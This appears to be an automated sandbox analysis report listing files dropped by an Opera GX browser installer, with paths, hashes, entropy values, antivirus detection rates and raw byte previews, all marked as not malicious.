                                                                                                                                                                                                              SHA-256:7A6AB3F75099A19231E281A0909492558CC67603BF043F74EAC4F01902FD58FA
                                                                                                                                                                                                              SHA-512:EE869CE54EACF62CC1BC7370FC05EEF237DB5D4FB9E202EA6082709E96A63752150B722347FB7CDEF0831F9CE82E6F71170F2DC63FB432260BCB8EFEF1697C00
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"welcome-url":"https://redir.opera.com/www.opera.com/gx/firstrun/?utm_campaign=PWN_US_PB3_DD_3661&utm_content=3661_2910&utm_id=2bafdef2641840219155e9094f2ed3a9&utm_medium=pa&utm_source=PWNgames&http_referrer=&query=/opera_gx/stable/edition/std-2?utm_source=PWNgames%26utm_medium=pa%26utm_campaign=PWN_US_PB3_DD_3661%26utm_id=2bafdef2641840219155e9094f2ed3a9%26utm_content=3661_2910"}

                                                                                                                                                                                                              C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\resources\custom_partner_content.json (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:Unicode text, UTF-8 text, with very long lines (1824)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):242304
                                                                                                                                                                                                              Entropy (8bit):6.028776242997077
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3072:+lrEaq+nSpKS1d/ttUYD6W6Z2NrwYrVZCs0iUCabiKfAu/wX2OCy:cEe+1btUYOnkrPVZCCUCabNU
                                                                                                                                                                                                              MD5:8EEDA41CF4BB6900216E9A91E69BF857
                                                                                                                                                                                                              SHA1:858FD2E9F90A1A55C4A7B6DE5C1EEABC851749C1
                                                                                                                                                                                                              SHA-256:00CC54663583EE631FA4063B2AF65B89B3451C70435D8EAF9F8332B5CDE916E7
                                                                                                                                                                                                              SHA-512:EB08D29C0F317FE0B3214BBE56CDC3B6F9C0C6A4289FB6C459F6915C2E227B507E32B8763FFD28BDBA829DE7CACE4C3816346B30550410E9D09A2B637D921748
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// oIafncyzxXIthD3yrr0ExADLGcSvJVUPhfm/Ps9IJWzBeVPqfctf2eq3cfSQou5ntqGt6gg7DLHaqxPUf7YMzjoasvVdoztX/1r0O8XKGUx89DnXb+9PZJe/CcnoP0KFiAxZlugvMS9+zaPR/MbZpGnOO7Ylzoxo0Y3WXqfWtpQ8jK9r4pMa23T1hW1X+kj1PKpTOpTZtsm2TtxQGPUXsMmvu/XJHkjGSVpTyFCVFrobvLd0XQPWe6oqLrvsNgPW9HJjbDWiR3cUL2kxGw8qsix5PK/KijbPVyf/tuIv2CYgca2qfUrmjNG5/Mx03+QaecavFhuVV4KaWFacYnatuQ==.{. "version": 41,. "partner_id": "std-2",. "user_agent": "std-2",. "search_engines": {. "location": {. "ad": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing_attributed",. "wiki". ],. "speed_dial_index_list": [0]. }. },. "al": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing_attributed",. "wiki". ],. "speed_dial_index_list": [0]. }. },.

                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):71954
                                                                                                                                                                                                              Entropy (8bit):7.996617769952133
                                                                                                                                                                                                              Encrypted:true
                                                                                                                                                                                                              SSDEEP:1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
                                                                                                                                                                                                              MD5:49AEBF8CBD62D92AC215B2923FB1B9F5
                                                                                                                                                                                                              SHA1:1723BE06719828DDA65AD804298D0431F6AFF976
                                                                                                                                                                                                              SHA-256:B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
                                                                                                                                                                                                              SHA-512:BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..*Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=*....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.|.c.&>?..^t. ..;..X.d.E.0G....[Q.*,*......#.Dp..L.o|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:Certificate, Version=3
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1428
                                                                                                                                                                                                              Entropy (8bit):7.688784034406474
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:nIGWnSIGWnSGc9VIyy0KuiUQ+7n0TCDZJCCAyuIqwmCFUZnPQ1LSdT:nIL7LJSRQ+QgAyuxwfynPQmR
                                                                                                                                                                                                              MD5:78F2FCAA601F2FB4EBC937BA532E7549
                                                                                                                                                                                                              SHA1:DDFB16CD4931C973A2037D3FC83A4D7D775D05E4
                                                                                                                                                                                                              SHA-256:552F7BDCF1A7AF9E6CE672017F4F12ABF77240C78E761AC203D1D9D20AC89988
                                                                                                                                                                                                              SHA-512:BCAD73A7A5AFB7120549DD54BA1F15C551AE24C7181F008392065D1ED006E6FA4FA5A60538D52461B15A12F5292049E929CFFDE15CC400DEC9CDFCA0B36A68DD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0...0..x..........W..!2.9...wu\0...*.H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40...130801120000Z..380115120000Z0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40.."0...*.H.............0..........sh..]J<0"0i3..%..!=..Y..).=X.v..{....0....8..V.m...y....._..<R.R....~...W.YUr.h.p..u.js2...D.......t;mq.-... .. .c)-..^N..!a.4...^.[......4@_.zf.w.H.fWW.TX..+.O.0.V..{]..O^.5.1..^......@.y.x...j.8.....7...}...>..p.U.A2...s*n..|!L....u]xf.:1D.3@...ZI...g.'..O9..X..$\F.d..i.v.v=Y]Bv...izH....f.t..K...c....:.=...E%...D.+~....am.3...K...}....!........p,A`..c.D..vb~.....d.3....C....w.....!..T)%.l..RQGt.&..Au.z._.?..A..[..P.1..r."..|Lu?c.!_. Qko....O..E_. ........~.&...i/..-............B0@0...U.......0....0...U...........0...U..........q]dL..g?....O0...*.H..............a.}.l.........dh.V.w.p...J...x\.._...)V.6I]Dc...f.#.=y.mk.T..<.C@..P.R..;...ik.

                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):290
                                                                                                                                                                                                              Entropy (8bit):2.9844219596585932
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6:kKLVgL/L9Usw9L+N+SkQlPlEGYRMY9z+4KlDA3RUe/:jm/iD9LNkPlE99SNxAhUe/
                                                                                                                                                                                                              MD5:DD78D6A308E600B5949AED670A7A3E68
                                                                                                                                                                                                              SHA1:32D554E978A1458E4AC27FB292D24E7248D84F61
                                                                                                                                                                                                              SHA-256:6620DC5F25595ED35032A48A1DE5B5C13F664520E8B07D8FC1EBBAA81D80D4D1
                                                                                                                                                                                                              SHA-512:E90B232EAC4633F56E0D4A1D41BAC2134A05B9C4001E130883E8CD3106C5B6DF08340ED58BEEF2998402D823395BFF4ABB79D71AD7105AA6F4797F8168ADA0C2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:p...... ........"...J...(....................................................... ........G..@.......................h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...

                                                                                                                                                                                                              C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2E248BEDDBB2D85122423C41028BFD4

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):254
                                                                                                                                                                                                              Entropy (8bit):3.0528988669712294
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6:kKzY/hLDcJgjcalgRAOAUSW0PTKDXMOXISKlUp:rY/hLYS4tWOxSW0PAMsZp
                                                                                                                                                                                                              MD5:8A52C64C03EF488717F3A8AA8F2C8B86
                                                                                                                                                                                                              SHA1:4217249BD24F3FF68844865EA87A01C7750C6831
                                                                                                                                                                                                              SHA-256:97B6DE252BBFC687BC4319C70118585123EBF228A2F860B99102CE561E5A5E2E
                                                                                                                                                                                                              SHA-512:F22E53FA20B7C07DA1E3B849F59B800F858B15F949B2856F162A7B0FDE132ADB0F452237118C071C0001D7CD8ED2A5A0B800D655B0AC811758D462CB5404799B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:p...... ....l.....#.J...(....................................................... ............n......................h.t.t.p.:././.c.a.c.e.r.t.s...d.i.g.i.c.e.r.t...c.o.m./.D.i.g.i.C.e.r.t.T.r.u.s.t.e.d.R.o.o.t.G.4...c.r.t...".5.a.2.8.6.4.1.7.-.5.9.4."...

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001c.db

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):109040
                                                                                                                                                                                                              Entropy (8bit):4.018406983817983
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:1536:a49kYkOFOFE7W+hniiGfnHwFPcK9e3shluV:tkYkOFOFEnhniTwFPe3ZV
                                                                                                                                                                                                              MD5:EF9F0184351376882836298D30112360
                                                                                                                                                                                                              SHA1:58F314D2D6F603F179D63E011BB5B938B613A059
                                                                                                                                                                                                              SHA-256:361B712BB6F4D9837A0B75E0EA5020112995CD4961740D3F2B7674E0480EC7F3
                                                                                                                                                                                                              SHA-512:128872C14BEFCBC1F42326C90937D7B1B2052B66576A17C996A6B3F40FAC4B54E5F8AD7BB41731517CFCB7DBBEA6EC71BD374897132324486D77BAF11F2F5019
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:....h... ..............P...............Y.......`...@..............x...W.......e.n.-.C.H.;.e.n.-.G.B....... .......`..............P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....\.1...........user.D............................................f.r.o.n.t.d.e.s.k.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....`.1...........Start Menu..F............................................S.t.a.r.t. .M.e.n.u......................0..........P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....\.1...........user.D.................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001d.db

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):107208
                                                                                                                                                                                                              Entropy (8bit):4.027097643513575
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:768:LGl0+bk4GHWnAy9jk0lstY0NWNQLSPlMjEJrmPU8/R1vTyhc//mvyp523Z38RhXG:wbkgnWtY0Nt2YhXiMTGmnIqFKZKJti
                                                                                                                                                                                                              MD5:F4F8E11F2B8D8AD6AB49A07736314F38
                                                                                                                                                                                                              SHA1:A6C1FDD3C5552DBD3C9540D8376E803BF3682819
                                                                                                                                                                                                              SHA-256:C96A327D6BFA6BCB65E5B63C0FFCCB28DCAE6F6EA23576EC4A6F0A8023063884
                                                                                                                                                                                                              SHA-512:54FF53D6700014ED8FB49A70C29CCF242459A2FDBFA285417A98C35BD75E21EA094371145CA9B8BC68932D4284FD448E885A6BA8214E4E6BB61AA975D95111D3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:....h... ......p.......P...........p...Y......`...................X...W.......e.n.-.C.H.;.e.n.-.G.B....... .......8..............P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....\.1...........user.D............................................f.r.o.n.t.d.e.s.k.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....`.1...........Start Menu..F............................................S.t.a.r.t. .M.e.n.u......................0..........P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....\.1...........user.D.................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001e.db

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):105312
                                                                                                                                                                                                              Entropy (8bit):4.0422904671177555
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:1536:2k7EvxVj8DJWQFh5icGSnKpqFtKN47x31q:2k7EvxVj8Dnh5iDpqF647Tq
                                                                                                                                                                                                              MD5:E071FC98B150CA8588AFFBC207707F17
                                                                                                                                                                                                              SHA1:382893FD2D209C3B163CCB9F765008101638E721
                                                                                                                                                                                                              SHA-256:ADE5192570A2D9D83689F13225F5604DBCD13C84C5D7B895DC89DEE0FADD6F86
                                                                                                                                                                                                              SHA-512:B8FE199C50E1C13AF0727173B7AF3E9E8E9B22BBDCBFA634DAF3C8A0715886FD6DD49008BE058E0D34A503A4063F3CD25A18EF857631B7C69A382DF2400EB954
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:....h... ...`...........P...............Y...x...`...........X...........W.......e.n.-.C.H.;.e.n.-.G.B....... .....................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....\.1...........user.D............................................f.r.o.n.t.d.e.s.k.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....`.1...........Start Menu..F............................................S.t.a.r.t. .M.e.n.u......................0..........P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....\.1...........user.D.................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\1714144780-custom_partner_content[1].json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:Unicode text, UTF-8 text, with very long lines (1824)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):242304
                                                                                                                                                                                                              Entropy (8bit):6.028776242997077
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3072:+lrEaq+nSpKS1d/ttUYD6W6Z2NrwYrVZCs0iUCabiKfAu/wX2OCy:cEe+1btUYOnkrPVZCCUCabNU
                                                                                                                                                                                                              MD5:8EEDA41CF4BB6900216E9A91E69BF857
                                                                                                                                                                                                              SHA1:858FD2E9F90A1A55C4A7B6DE5C1EEABC851749C1
                                                                                                                                                                                                              SHA-256:00CC54663583EE631FA4063B2AF65B89B3451C70435D8EAF9F8332B5CDE916E7
                                                                                                                                                                                                              SHA-512:EB08D29C0F317FE0B3214BBE56CDC3B6F9C0C6A4289FB6C459F6915C2E227B507E32B8763FFD28BDBA829DE7CACE4C3816346B30550410E9D09A2B637D921748
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// oIafncyzxXIthD3yrr0ExADLGcSvJVUPhfm/Ps9IJWzBeVPqfctf2eq3cfSQou5ntqGt6gg7DLHaqxPUf7YMzjoasvVdoztX/1r0O8XKGUx89DnXb+9PZJe/CcnoP0KFiAxZlugvMS9+zaPR/MbZpGnOO7Ylzoxo0Y3WXqfWtpQ8jK9r4pMa23T1hW1X+kj1PKpTOpTZtsm2TtxQGPUXsMmvu/XJHkjGSVpTyFCVFrobvLd0XQPWe6oqLrvsNgPW9HJjbDWiR3cUL2kxGw8qsix5PK/KijbPVyf/tuIv2CYgca2qfUrmjNG5/Mx03+QaecavFhuVV4KaWFacYnatuQ==.{. "version": 41,. "partner_id": "std-2",. "user_agent": "std-2",. "search_engines": {. "location": {. "ad": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing_attributed",. "wiki". ],. "speed_dial_index_list": [0]. }. },. "al": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing_attributed",. "wiki". ],. "speed_dial_index_list": [0]. }. },.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\features[1].json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1452
                                                                                                                                                                                                              Entropy (8bit):4.3978093390901005
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:YPiRyiRAS3RH4rRUtRCRMR6mR9R5DR3RoRY+RWEIiRGiRCR8xRIjRuAcBpDRJRln:YqRyiRhRYRUtRCRMR6mR9R5DR3RoRJRz
                                                                                                                                                                                                              MD5:E239E5585AD439B3A7FD8C1D13CD8EF4
                                                                                                                                                                                                              SHA1:D2751ED2F9C200ADB20C44D3AB7B4E1951F216A2
                                                                                                                                                                                                              SHA-256:AF6C16AF6F09D9D4A377B6D055E3A94ACFBACEEB4CF3B7E2BD18B42345F0124D
                                                                                                                                                                                                              SHA-512:84C01F14F81D73BB35649CCEB4DB4B67527BC9C15F5DFD01720D24C731803D2F95863FC655FC8E1703402DE8BCCCBF4876FCE4C3A3572484E145179860437F41
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"features":{"01979299c8cd":{"state":"enabled"},"13e025f64bd6":{"state":"disabled"},"13eeaf851da7":{"state":"enabled"},"1ad69b007ce5":{"state":"enabled"},"1c4dddb65bac":{"state":"enabled"},"1d24dceb937a":{"state":"enabled"},"278deecb29a1":{"state":"enabled"},"2c1429a5a72e":{"state":"enabled"},"3389f6c15eb9":{"state":"enabled"},"40db6e644d2c":{"state":"disabled"},"50796754ffc7":{"state":"enabled"},"5448a57d6689":{"state":"disabled"},"54726ed4401e":{"state":"enabled"},"56d717ae3ad6":{"state":"enabled"},"5a28d66c82cd":{"state":"enabled"},"603cade21cf7":{"state":"enabled"},"654296fe9d6c":{"state":"enabled"},"818c3ef12d0b":{"state":"enabled","dna_filter":{"required_dna":["64336fb81a04836eb8108d24fbca3aa3682db0a5"],"forbidden_dna":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"]}},"8511df77ed15":{"state":"enabled"},"88edd7903398":{"state":"enabled"},"970fe421a344":{"state":"enabled"},"9ec4e68ae70a":{"state":"disabled"},"b2a2a32b832b":{"state":"enabled"},"b7751444d14a":{"state":"enabled"},"b9677b

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Opera_GX_assistant_73.0.3856.382_Setup[1].exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1499104
                                                                                                                                                                                                              Entropy (8bit):7.985603261747699
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:4ACKcQz8HkfJ8dQnd4GrbwsgY+UfLBCQdI5f3cjCRgCPPWCUZry8k/GUrbN:5pT8HkfJ5eGrbmR0afsXCBrG
                                                                                                                                                                                                              MD5:E9A2209B61F4BE34F25069A6E54AFFEA
                                                                                                                                                                                                              SHA1:6368B0A81608C701B06B97AEFF194CE88FD0E3C0
                                                                                                                                                                                                              SHA-256:E950F17F4181009EEAFA9F5306E8A9DFD26D88CA63B1838F44FF0EFC738E7D1F
                                                                                                                                                                                                              SHA-512:59E46277CA79A43ED8B0A25B24EFF013E251A75F90587E013B9C12851E5DD7283B6172F7D48583982F6A32069457778EE440025C1C754BF7BB6CE8AE1D2C3FC5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 2%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...'..P.................(...F.......-.......@....@.................................7........................................b......................H................................................................@..d............................text....&.......(.................. ..`.rdata...5...@...6...*..............@..@.data....)...........`..............@....rsrc................h..............@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P....P.|..Y.nj'.v....u..v..=.BA..6P......P....9^..].v8.^..3......hhDA.P..........P......P..pAA..E..E....;F.r......P.J|..Y.24..j...lAA...t$..D....3.9.H.A.t...@....9D$.t..t$.Ph.....5@.A....BA.3.....D$..`...|$..u..@.....3.....t$..D$..t$...`.A......t$...P.Q..%`.A...D$...V...t...P.Q...^...VW.|$.....t...W.P.....t...P.Q..>.._^....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u..S.\$.V..C;^.tLW3.j.Z...........Q.......3.9F.Y~.9F.~...f..Af..G@;F.|..6....

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Opera_GX_114.0.5282.93_Autoupdate_x64[1].exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):143657120
                                                                                                                                                                                                              Entropy (8bit):7.999975950197533
                                                                                                                                                                                                              Encrypted:true
                                                                                                                                                                                                              SSDEEP:3145728:zVHd/PWpFRVOvQlskURxSf2pl3Y4r5q+3kBiVH:B9GjDSRrpFYY4eH
                                                                                                                                                                                                              MD5:E4144E479D10369222F5A79C1BC0C0E0
                                                                                                                                                                                                              SHA1:3AEF6A4AE20326D849A09774DDC7F4E25E4051B2
                                                                                                                                                                                                              SHA-256:47A2A6F100ED994A0A27573E2E5B31CE91181909382E3702B1BE38DBFA04F16C
                                                                                                                                                                                                              SHA-512:DA2F875E9CF49C3DB6DA4882F83A53C1AF9C15EFBD4903DA1E30247230AD82C85D90E8E9344B0AA00E00D4C783972E0886237A66600D6FA267A919CB76BE6BA8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(2S&lS=ulS=ulS=u'+>t`S=u'+8t.S=u..8tAS=u..9t.S=u..>tyS=u'+9tyS=u'+<teS=ulS<u.S=u..5t:S=u...umS=ulS.umS=u..?tmS=uRichlS=u........PE..L...4.if...............'..........................@.......................................@..................................R..d.......................).......&......................................@............................................text............................... ..`.rdata..............................@..@.data....A...`.......J..............@....rsrc................`..............@..@.reloc...&.......(...j..............@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8003
                                                                                                                                                                                                              Entropy (8bit):4.840877972214509
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
                                                                                                                                                                                                              MD5:106D01F562D751E62B702803895E93E0
                                                                                                                                                                                                              SHA1:CBF19C2392BDFA8C2209F8534616CCA08EE01A92
                                                                                                                                                                                                              SHA-256:6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
                                                                                                                                                                                                              SHA-512:81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\114.0.5282.93.manifest

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):225
                                                                                                                                                                                                              Entropy (8bit):4.943236959137762
                                                                                                                                                                                                              Encrypted:false
